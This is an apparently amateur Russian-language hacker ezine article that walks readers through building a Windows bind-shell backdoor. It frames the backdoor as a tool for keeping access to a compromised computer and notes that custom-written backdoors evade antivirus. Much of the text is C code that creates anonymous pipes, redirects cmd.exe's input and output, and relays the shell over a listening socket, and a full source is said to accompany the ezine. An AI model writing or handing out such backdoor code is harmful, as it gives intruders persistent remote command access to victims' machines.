[ Создание простого BindShell Backdoor'a ]
Хай мэн! Это моя первая статья для езина 22H и просьба сильно не
пинать меня =) В ней я дам несколько советов для написания
собственного бэкдора для Windows. Вещь это очень полезная и
достаточно мощная в руках опытного взломщика ;)
Бэкдор, backdoor (от англ. back door, чёрный ход) — программа или
набор программ, которые устанавливает взломщик (хакер) на
взломанном им компьютере после получения первоначального доступа
с целью повторного получения доступа к системе. При подключении
предоставляет какой-либо доступ к системе (как правило, это
командный интерпретатор: в GNU/Linux — Bash, в Microsoft
Windows NT — cmd). Бэкдор — особо важная составляющая руткита.
Существует два вида предоставления shell-доступа: «BindShell»
и «Back Connect».«BindShell» — самый распространённый, работает
по архитектуре «клиент-сервер», то есть бэкдор ожидает соединение.
«Back Connect» — применяется для обхода брандмауэров, бэкдор
сам пытается соединиться с компьютером хакера.
Известные бэкдоры заносятся в базы антивирусных систем. Хакеры
высокого класса используют собственноручно написанные либо
модифицированные бэкдоры и руткиты, что делает их обнаружение
и удаление затруднительным (Русская Википедия).
Расскажу я про «BindShell».
Алгоритм работы такого вот бэкдора очень простой. Создается
сервер, который должен будет слушать порт. После подключения
к порту telnet'ом сервер в отдельном потоке подменяет
дескрипторы стандартного ввода/вывода на дескрипторы пайпов
и запускает в отдельном процессе cmd, после чего читает
данные из сокета и пишет их в пайп, либо наоборот, читает
данные из пайпа и пишет их в сокет. Все это дело длится до
тех пор, пока процесс cmd не будет завершен стандартной
командой exit.
Исходя из всего вышесказанного нам потребуется знать три
вещи: как работают процессы, как работают сокеты и как
работают пайпы.
Если про сокеты говорят и пишут на каждом углу и все кому
не лень, то про пайпы можно услышать гораздо реже. Наверно,
это происходит потому-что в большинстве случаев можно
обойтись обычным файловым вводом/выводом и нет необходимости
переназначать дескрипторы стандартного ввода/вывода. В нашем
случае тоже можно было обойтись таким способом, но гораздо
элегантней и удобней воспользоваться механизмом пайпов. Что
же такое пайп? В SDK дается следующее определение для пайпов:
"пайп - это коммуникационный шлюз с двумя концами; некий
процесс через дескриптор (handle) на одном конце пайпа может
передавать данные другому процессу, находящемуся на другом
конце пайпа." Существуют два вида пайпов: именованные(named)
и неименованые(anonymous) пайпы. В нашем случае будут
использоваться неименованные пайпы, т.е. однонаправленные
пайпы, которые передают данные между родительским и
дочерним процессами или между двумя дочерними процессами
одного и того же родительского процесса.
Ниже представлен код создания пайпов и переназначения
ввода/вывода.
//Создание необходимых структур для
//работы с пайпами.
STARTUPINFO si;
SECURITY_ATTRIBUTES sa;
PROCESS_INFORMATION pi;
HANDLE new_stdout, new_stdin, read_stdout, write_stdin; // <- Дескрипторы пайпов
//Заполняем структуры.
sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = true;
//Создание пайпов
//Здесь sa – это указатель на структуру типа SECURITY_ATTRIBUTES
if (!CreatePipe(&new_stdin, &write_stdin, &sa, 0)) {
return -1;
}
if (!CreatePipe(&read_stdout, &new_stdout, &sa, 0)) {
return -1;
}
// Подмена дескрипторов
// Здесь si – это структура STARTUPINFO для запуска процесса
si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW; // Взвести эти флаги просто необходимо!
si.hStdError = new_stdout;
si.hStdOutput = new_stdout;
si.hStdInput = new_stdin;
После всего этого мы можем создать отдельный процесс
функцией CreateProcess(), передав ей в качестве параметра
путь до cmd.exe и указатель на структуру с подмененными
дескрипторами, и гонять ввод/вывод между клиентом и
сервером пока мы не захотим завершения процесса cmd.
Итак, после создания пайпов, алгоритм действий очень
простой:
Запускаем процесс
Пока процесс не завершен
Проверяем состояние пайпа
Если в пайпе есть данные, то читаем их и пишем в сокет
Проверяем состояние сокета
Если в сокете есть данные, то читаем их и пишем в пайп
Проверка состояний пайпа и сокета осуществляется,
соответственно, функциями PeekNamedPipe() и ioctlsocket().
Чтение из пайпов осуществляется с помощью ReadFile(), а
запись WriteFile(). О том как создавать многопоточный
сервер и работать с сокетами писалось тысячи раз и я не
буду останавливатся на этом подробно, просто положу в
архив мануал Криса Касперски по работе с сокетами. В этом
руководстве описано создание tcp echo сервера, клиента
для него, а также версия udp этого сервера. Также в
руководстве описана работа с сокетами.
Ниже приведен код:
GetSystemDirectory(system_directory, MAX_PATH);
lstrcat(system_directory, "\\cmd.exe");
//Создаем дочерний процесс
if (!CreateProcess(system_directory,NULL,NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,NULL,&si,&pi)) {
CloseHandle(new_stdin);
CloseHandle(new_stdout);
CloseHandle(read_stdout);
CloseHandle(write_stdin);
closesocket(sock);
return -1;
}
unsigned long ExitCode = 0; // <- Код завершения.
unsigned long InStd; // <- Количество прочитанных из stdout байт
unsigned long avail; // <- Количество доступных байт
bool first_command = true;
//Пока не завершится процесс, читаем/пишем из пайпа в сокет и наоборот.
while(GetExitCodeProcess(pi.hProcess, &ExitCode) && (ExitCode == STILL_ACTIVE)) {
PeekNamedPipe(read_stdout, std_buff, sizeof(std_buff) - 1 ,&InStd, &avail, NULL);
ZeroMemory(std_buff, sizeof(std_buff));
if (InStd != 0) {
if (avail > (sizeof(std_buff) - 1)) {
while (InStd >= (sizeof(std_buff)-1)) {
ReadFile(read_stdout, std_buff, sizeof(std_buff) - 1, &InStd, NULL); // <- Читаем данные из пайпа.
send(sock, std_buff, strlen(std_buff), 0);
ZeroMemory(std_buff, sizeof(std_buff));
}
}
else {
ReadFile(read_stdout, std_buff, sizeof(std_buff) - 1, &InStd, NULL);
send(sock, std_buff, strlen(std_buff), 0);
ZeroMemory(std_buff, sizeof(std_buff));
}
}
unsigned long IoSock;
//Проверяем состояние сокета и читаем из него и пишем в пайп.
if (!ioctlsocket(sock, FIONREAD, &IoSock) && IoSock) {
ZeroMemory(std_buff, sizeof(std_buff));
recv(sock, std_buff, 1, 0);
if (first_command == false) {
send(sock, std_buff, strlen(std_buff), 0); // <- Это чтобы был нормальный вывод в telnet
}
if (*std_buff == '\x0A') {
WriteFile(write_stdin, "\x0D", 1, &IoSock, 0);
first_command = false;
}
WriteFile(write_stdin, std_buff, 1, &IoSock, 0);
}
Sleep(1);
}
Чтобы наш бэкдор мог работать с несколькими соединениями
одновременно, мы будем запускать поток с помощью функции
CreateThread(), которой в аргументах будем передавать
функцию, создающую канал между клиентом и сервером. О
том как создать многопоточный сервер можешь почитать в
статье Криса Касперски, которую я положил в архив вместе
с исходником.
Чтобы не заниматься лишней работой, можешь воспользоваться
исходником, который идёт с езином и дописать нужные функции.
Исходник выглядит максимально прозрачно и имеет все
необходимые комментарии, поэтому разобраться в нем не
составит труда. Удачи, и программируйте с удовольствием :)
Исходник + документация лежит в /include/backdoor/*
(c) NDT[h3xcode]